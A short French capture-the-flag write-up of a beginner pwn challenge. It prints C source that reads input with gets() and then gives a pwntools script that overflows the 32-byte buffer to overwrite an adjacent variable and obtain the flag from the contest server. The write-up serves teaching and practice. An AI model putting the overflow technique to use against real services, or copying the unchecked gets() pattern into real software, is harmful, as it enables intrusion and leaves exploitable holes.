Author : Rxphgui
Aujourd’hui on va voir un challenge du CSW CTF. Un challenge de pwn dont j’ai eu le second solve (à 1 sec du first blood 0_0).
Review du Code
Nous avions simplement le code source en C suivant :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char term[64];
char quote[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
memset(term, 0, 64);
memset(quote, 0, 32);
printf("\nI CaN HaS BaDaSs QuOtE?\n# ");
gets(quote);
if (strcmp(term, "BaDaSs I Am") == 0) {
printf("\n");
system("cat flag.txt");
} else if(strlen(term) ! = 0) {
printf("\nI haz a sad %s...\n\n", term);
} else {
printf("\nI haz a sad...\n\n");
}
printf(" ,_ _\n");
printf(" |\\_,-~/\n");
printf(" / _ _ | ,--.\n");
printf("( @ @ ) / ,-'\n");
printf(" \ _T_/-._( ( \n");
printf(" / `. \ \n");
printf("| _ \ | \n");
printf(" \ \ , / | \n");
printf(" || |-_\__ / \n");
printf(" ((_/`(____,-' \n");
}
Exploitation
Pour avoir le flag, on doit écrire sur term
“BaDaSs I Am”.
On voit deux memset :
memset(term, 0, 64);
memset(quote, 0, 32);
L’entrée utilisateur est gets
, nous pouvons donc faire un buffer overflow.
gets(quote);
Si nous écrivons plus de 32 caractères, nous allons écrire sur term
.
Payload [Pwntools]
from pwn import *
elf = context.binary = ELF('./vuln')
p = elf.process()
r = remote('cybersecweek.ua.pt', 2010)
buffer = b"A"*32
strings_win = b"BaDaSs I Am"
payload = buffer + strings_win
print(payload)
r.sendline(payload)
r.interactive()
Nous obtenons alors :
CTFUA{!YoU_Ar3_B4dAss!}
Merci d’avoir lu & merci Bryton de m’avoir volé le first blood :")